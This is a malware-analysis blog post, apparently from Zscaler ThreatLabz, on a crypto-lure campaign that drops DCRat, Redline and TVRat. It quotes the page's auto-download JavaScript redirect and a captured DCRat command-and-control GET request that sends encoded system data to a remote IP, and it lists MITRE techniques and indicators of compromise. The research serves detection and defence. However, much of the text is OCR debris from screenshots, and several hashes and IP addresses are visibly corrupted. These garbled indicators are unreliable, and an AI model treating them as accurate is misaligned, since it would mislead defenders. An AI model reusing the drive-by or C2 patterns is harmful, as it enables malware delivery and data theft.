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Introduction

In January 2022, the ThreatLabz research team identified a crypto scam, which we've
dubbed "FreeCryptoScam." In this scam, the threat actor targets crypto users by luring
them with an offer of free cryptocurrency. When the victim downloads the payload, it leads
to installation of multiple malware payloads on the victim's system, allowing the threat actor
to establish backdoors and/or steal user information. In this campaign, we see the Dark
Crystal RAT ("DCRat") being downloaded which further leads to Redline and TVRat being
downloaded and executed onto the victim’s system.

This blog aims to explain various aspects of the campaign that the ThreatLabz team has
uncovered during the investigation and technical analysis of the dropped payloads.

Website Analysis

In this campaign, threat actors host their malicious payload on either a new (Figure 1) or an
old compromised web domain (Figure 2 & Figure 3). They use the below mechanisms to
successfully drop the payload to the victim machine:

1. As soon as the user visits the website, the below javascript under a “script” tag gets
executed to drop a payload:
“setTimeout(document.location.href=<link of the payload>, <milliseconds>)’
2. As soon as the user clicks on the button, the “href’ property is used to drop the
payload that consists of the payload link.
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Figure 2: Old compromised websites used for hosting malicious payload

It should be noted that:

o The threat actor uses social engineering to drive successful payload execution, luring
victims to install the dropped payload by using a message offering free
cryptocurrency.
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e The attack works across browsers, with the mechanism running the same way in
Chrome, Internet Explorer, and Firefox. Depending on the browser settings, the
payload will be automatically downloaded, or a pop-up window will ask the user to
save the application on the system.

o From the whois record, it is clear that the second domain (shown in Figure 2) is an old
domain that has likely been compromised.

Whois Record for Verio-Tx.net

= Domain Profile

Registrant Domain Admin

Registrant Org Endurance International Group Inc
Registrant Country us

Registrar TUCOWS, INC. Tucows Domains Inc.
IANA ID: 69
URL: http:/tucowsdomains.com,http:/www.tucows.com
Whois Server: whois.tucows.com

domainabuse@tucows.com
(p) 14165350123

Registrar Status clientTransferProhibited, clientUpdateProhibited

Dates 8,826 days old
Created on 1997-12-02
Expires on 2022-12-01
Updated on 2021-11-02

Figure 3: Whois report of the second domain [Credit: DomainTools]

Attack Chain

The figure below depicts the attack chain of two scenarios:
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Figure 4: Attack chain

Technical Analysis

As shown in the above figure, we found two types of payload:

1. In Scenario 1, the payload was a downloader that connected to another malicious
domain hosting second stage payloads—backdoors and stealers. In most cases, the
downloaded files were DCRat, Redline, and TVRat.

2. In Scenario 2, the payload served the DCRat malware directly.

[+] Scenario 1: Downloader DCRatLoader

For the purposes of analysis, we will look at the payload with MD5 hash:
D3EF4EC10EE42994B313428D13B1B0OBD which was protected by a well-known packer
named Asprotect and given a fake certificate (as shown in the figure below).
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Security Details  Previous Versions

Digital Signature Details ?

General  Advanced

~\, Digital Signature Information

£4.3 This digital signature is not valid.

shaz56

Timestamp

Thursday. Septe

Thursdz

ay. Septe

Signer information
Name: [Gary kramich
£-mal: ‘gr m@reaperworld.com

Details Signing time: [Thursday, september 15, 2021 7:00:27 PM

View Certificate

Countersignatures

Name of sign...

DigiC

Fake certificate

Property Value

File Name C:\Users\IEUser\Desktop\PayeerBonusExtension.exe General  Digtal Signatures
File Type Portable Executable 32 Signawre s

File Info ASProtect v1.23 RC1 Narms ofsag_| Digentaigodt
File Size 1.30 MB (1364272 bytes) Gary Kramlich  shal
PE Size 1.28 MB (1345536 bytes) Gary Krarmiich
Created Thursday 13 January 2022, 04.11.46

Modified Menday 10 January 2022, 15.29.40

Accessed Thursday 13 January 2022, 04.13.29

MD5 D3EF4EC10EE42994B313428D13B1B0BD

SHA-1 91F6BDDF2FECTCS2EECADE6201D4B18185CASF2D

Property Value

FileDescription File Information

FileVersion 0.0.0.0

InternalName DCRatLoader.exe

LegalCopyright

OriginalFilename ~ DCRatLoader.exe

ProductVersion 0.0.00

0K

Cancel

Figure 5: Version information and digital certificate

After unpacking the file, we get a 48KB .NET executable file (MD5 =
469240D5A3B57C61F5F9F2B90F405999). This is a downloader consisting of base64
encoded urls and file paths (as shown in the figure below ).
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Figure 6: Code of Unpacked file

These base64 encoded strings represent the URL paths for downloading stage 2 payloads

Uk:
YSTEMDRI

)R

ing, text)

(

E-mail addre... Timestzmp

ert Time... Notavailable  Thursday, Septe.

Detzils

base64 encoded url
ubmVeL3J1ZC51eGU="));

(" {USERNAME}",

Path to save the file

; #Downloading file

(" {USERNAME}",

6:20 AM
2/1/2022

£~ W de

as well as the file paths where these payloads will be dropped on the victim system.
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Figure 7: URLs and File paths

Scenario 2: DCRat

The second scenario involved direct download of the DCRat payload which was also
protected by Asprotect. Upon unpacking, we get a 664KB .NET executable file (MD5=
37F433E1843602B29EC641B406D14AFA) which is the DCRat malware (shown in the
figure below).

DCRat.Code Main
DCRat-Log#
DCRat.Code Main
DCRat-Log#

Figure 8: Strings found in memory

Network Traffic:

2022-01-17 .. HTTP 192.168.1.24 94.103.81.146 80 94.103.81.146 GET /php/Cpudpythonserver/37Game/Video74Local/proc
2022-01-17 .. HTTP 94.103.81.146 192.168.1.24 49742 HTTP/1.1 200 OK (text/html)

2022-01-17 .. HTTP 192.168.1.24 94.103.81.146 80 94.163.81.146 GET /php/Cpudpythonserver/37Game/Video74Local/proc
2022-01-17 .. HTTP 94.103.81.146 192.168.1.24 49742 HTTP/1.1 208 OK (text/html)

2022-01-17 .. HTTP 192.168.1.24 94.103.81.146 80 94.163.81.146 GET /php/Cpudpythonserver/37Game/Video74Local/proc
2022-01-17 .. HTTP 94.103.81.146 192.168.1.24 49742 HTTP/1.1 280 OK (text/html)

2022-01-17 .. HTTP 192.168.1.24 94.103.81.146 80 94.103.81.146 GET /php/Cpudpythonserver/37Game/Video74Local/proc
2022-01-17 .. HTTP 94.103.81.146 192.168.1.24 49742 HTTP/1.1 200 OK

2022-01-17 .. HTTP 192.168.1.24 94.103.81.146 80 94.103.81.146 GET /php/Cpudpythonserver/37Game/Video74Local/proc
2022-01-17 .. HTTP 94.103.81.146 192.168.1.24 49742 HTTP/1.1 200 OK (text/html)

2022-01-17 .. HTTP 192.168.1.24 94.103.81.146 80 94.103.81.146 GET /php/Cpudpythonserver/37Game/Video74Local/proc

Figure 9: Network traffic observed
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GET /php/Cpudpythonserver/37Game/Video74Local/processtratfic.php?
FZw8vGKeiXLw0Jl=0ZI1eblOVvvpgDKgW&b38527454b414717a20c41d5a03Faa42=3QD03UGZzUGOWEDZ1
F2MmIWZXEWO2gzNzYzZNwEFZiRWOjNzYxYzNmhDN2ADMxYTOxIjM5YDN&F2a3bbo4a260200100affal75160
5258e=AZ3YzNhJTOGEWOmI2N1kDZjF2Y2QDNyUzMxADZ4YWMKkhDM5QTN1IWZ&b4757e2fa9766b4fae7d44
9fb97e5%ee=QX9ISUmIWTYplbGdUVnleVahlQTpVdsdkYtplMUNGexM2M5ckiW1xmMWNGes9ERK12Tpd2Rkh
mQs10cJ13560QzQ012bqlud5cVYepEWadFdtNmdkh1WeZUbjdkSDxUa@IDZ2VjMhVnVs IkNINUYWY@RVtEmMSzZ
ImaOhVYFpOQM1WSp9UandEZoJlkVihmSzoFb4d1WVpOQM1WSp9UaNheY3ZUVihmVHRGVKNETpRjMkZXNyEWd
WxWS2keQSpkSYpleWZ1YoZ1RkR1SDxUa®IDZ2VjMhVnVs1kNI12YsS5EWWRNRXpFMOXxWSz1UaiNTOtImclcl
VpOmaJSWNX1IVTxcVWsI1IMV12dplUdkNjY1RXbiZ1Sp9UandEZoJkVihmVHRGVKNETpRZRY 1HeW1kWGVEVR5
kVTVEeGhVd3ZEWjhHbIZTSS5NWdWd1W55kMV12dpleQkVUSwkUaP1GMVF1UKNETpVVbiZXNFVVVIWF jUXADMIW
FGaURVavpWSrpEWZZnStNGbodEZ2FzaJNXSTF1dOsWS2k@QiNnRyQGbKhVYHpBQMIWSYplalc IWtZ1RSAWT
zQmdSImYWRGbIZTSS5NWMKhVYyw2RkVnRr18cI1mYzkTbiIXNXZVavpWSRx2aUJEer1@cINUVygTVW5kSpoU
aNFDVKp@aINXSDpVMGVYUS11zVhBDbtIGcad IWFIOQh5GbHN1bBN1W11zRhdX0OtNmasdFVp9malpnVtImdod
QY2peMZBXMr10cI1WS2kUejRnRykVaWljVpdXalzZDawI1dZpGTSFOQRAWUGR2ZBRITYKEVMFTVF1kVCFTUn
tWaV9GNyIGboZUSw1kRLNNVHRWdstiWS2k@UaRnRtR1VCFTUpdXaINEZF1EeBNFTn9GbX11UFZ1RaBTTp9ma
IxWMX11TWZUVIpUelJiOiITNIEJNJZmYKNWYkdDN]JI2M1cDMiZzMkNGZzATNjFzYiwiT4AUDNZEGZKVjN1IG
M5ITMiFzNmVDNAMTZOI jNzZETYXMWZkBzYygDZ2T1i01QjZkdjNzMjZhZzN1ZzMxMGM1VTNzMWMjFmZ1M2NmF
ZNiwiIPMjM3QzNhZmZiVmN3ATMjBDM1BDMOYTOLFJZ3ETZzkTMjdjN3IDZ1I10iIW0zkjYhRDOKZTZ1gTYh
BjMOQWM1FzMxgTO2EjM1IM2Yis3W HTTP/1.1

Accept: */*

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 18.0; Wine4; x64; rv:91.0) Gecko/20100101
Firefox/91.0

Host: 94.103.81.146

Figure 10: Get request sent to C&C

In addition to the DCRat code, we also found stealer code inside the unpacked binary. This
part of the code exhibited stealer characteristics, which are often used to exfiltrate sensitive
user information. Not only did it steal the information from the infected system, but also
disabled the antivirus protection (if found enabled). The code in the figure below showcases
the type of data being exfiltrated:
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( A_8)

(scope, queryString))

numerator = managementObjectSearcher.Get

-__}EI'IUI'I'IEI"EItOF‘ -

managementObject["dis

(text)) ? text : "N/A";

Figure 12: Checks for antiviruses installed and disable them.

We saw the sample created a mutex, named,
"\Sessions\1\BaseNamedObjects\865218dd0bef38bd584e8c4eadd4adb7e295cb6f3" where
865218dd0bef38bd584e8c4eadd4adb7e295ch6f3 is the SHA1(hash value) of the string
"DCR_MUTEX-BZrxW3QvqgtvhEFCpLSr" and “DCR_MUTEX” is symbolic of DCRat
malware.
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Figure 13: Configuration of the DCRat

Zscaler Sandbox Detection

Downloader Payload

& @ bauizscalerfeed.net,

@5>zscaler Cloud Sandbox

SANDBOX DETAIL REPORT ® HighRisk  ® Moderate Risk Low Risk =
Report ID (MD5): D3EF4EC10EE42994B313428D13B1B... Analysis Performed: 1/10/2022 8:59:39 PM File Type: exe
CLASSIFICATION MACHINE LEARNING ANALYSIS MITRE ATT&CK b
Class Type Threat Score ® Malicious - High Confidence This report contains 13 ATT&CK techniques

Malicious 9 4 mapped to 4 tactics
Category
Malware & Botnet Detected: I ”””“"”l'l

HEUR/AGEN.1209475

VIRUS AND MALWARE SECURITY BYPASS C

€y

NETWORKING b

e Gen:Variant.Strictor.267440

Tries To Detect Sandboxes / Dynamic -~ » Downloads Executable Code Via HTTP
Malware Analysis System (Registry Check) « HTTP GET Or POST Without A User Agent

* Snort IDS Alert For Network Traffic

Sample Sleeps For A Long Time (Installer

Files Shows These Property). . .
Downloads Files From Web Servers Via HTTP

Allocates Memory In Foreign Processes
Performs DNS Lookups

Query Firmware Table Information (Likely To
Detect VMs) URLs Found In Memory Or Binary Data

Writes To Foreian Memorv Reaions M

DCRat payload
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C' & bauizscalerfeed.net,

@5>zscaler cCloud Sandbox

SANDBOX DETA”_ REPORT ® HighRisk  ® Moderate Risk Low Risk g
Report ID (MD5): 1C5CF95587171CC0950A6E1BES76F... Analysis Performed: 1/17/2022 8:28:34 PM File Type: exe
CLASSIFICATION MACHINE LEARNING ANALYSIS MITRE ATT&CK b4

Class Type Threat Score * Malicious - High Confidence This report contains 19 ATT&CK techniques
Malicious 9 8 mapped to 6 tactics
Category
Malware & Botnet Detected: L ”"””
HEUR/AGEN.1209475
VIRUS AND MALWARE SECURITY BYPASS bid NETWORKING b3
o HEUR/AGEN.1209475 e Tries To Detect Sandboxes / Dynamic ¢ Performs Connections To IPs Without
Malware Analysis System (Registry Check) Corresponding DNS Lookups
* Sample Execution Stops While Process Was e HTTP GET Or POST Without A User Agent
Sleeping (Likely An Evasion) * Snort IDS Alert For Network Traffic

¢ Sample Sleeps For A Long Time (Installer
Files Shows These Property).

¢ Tries To Harvest And Steal Bitcoin Wallet
Information
® Query Firmware Table Information (Likely To

¢ Tries To Steal Crypto Currency Wallets
Detect VMs) - ) )

FAvsimlanda Filan Cram WWiak Carimen Uin

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects
indicators related to the campaign at various levels with the following threat names:

e Win32.Downloader.DCRat
e Win32.Downloader.Redline
e Win32.Downloader.TVrat
e Win32.Backdoor.Dcrat

o Win32.Backdoor.Redline

o Win32.Backdoor.Tvrat

We haven't categorized this campaign in association with any particular family because it's
a generic downloader that downloads other backdoors or stealers.

MITRE ATT&CK AND TTP Mapping

ID Tactic Technique
T1189 Drive-by Adversaries may gain access to a system through a user
Compromise visiting a website over the normal course of browsing.

T1140 Deobfuscate/Decode Strings and other data are obfuscated in the payload
Files or Information

T1082 System Information Sends processor architecture and computer name
Discovery
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T1083 File and Directory Upload file from the victim machine
Discovery

T1005 Data from Local Adversaries may search local system sources, such as
System file systems or local databases, to find files of interest

and sensitive data prior to Exfiltration.

T1222 File Directory Change directory permission to hide its file
Permissions
Modification

T1555 Credentials from Steal stored password
password store

T1056 Keylogging Keylog of infected machine

T1055 Process Injection Inject code into other processes

Indicators of Compromise

[+] MD5 Hashes
d3ef4ec10ee42994b313428d13b1b0bd
469240d5a3b57c61f5f9f2b90f405999
6bc6b19a38122b926c4e3a5872283c56
3da7cbb5e16¢1f02522ff5e49ffc39e7
fdec732050d0b59d37e81453b746a5f3
d27dba475f35ee9983de3541d4a48bda
67364aac61276a7a4abb7b339733e72c
2e30e741aaa4047f0c114d22cb5f6494
22c4¢7c383f1021c80f55ced63ed465¢
1c5¢f95587171cc0950a6e1be576fedc

37f433e1843602b29ec641b406d14afa

11/12



A6718d7cecc4ec8aeef273918d18aa19
fa80b7635babe8d75115ebcc324 7ffff
€6d174dd2482042a0f24be7866f71b8d
53be54c4311238bae8cf2e95898e4b12
[+] Network Indicators:
wetranszfer[.Jcom

dogelab[.]net

verio-tx[.]Jnet

benbest[.]Jorg

gorillaboardwj[.]Jcom

dogelab[.]net

dOme[.]net

pshzbnb[.]Jcom

ghurnibd[.Jcom

theagencymg[.Jcom

gettingtoaha[.Jcom

squidgame[.]to

178[.]20[.144[.]131:8842
92[.138[.]1241[.]101:36778

mirtonewbacker[.]Jcom

94[.]103[.]81[.]1146/php/Cpudpythonserver/37Game/Video74Local/processtraffic.php?
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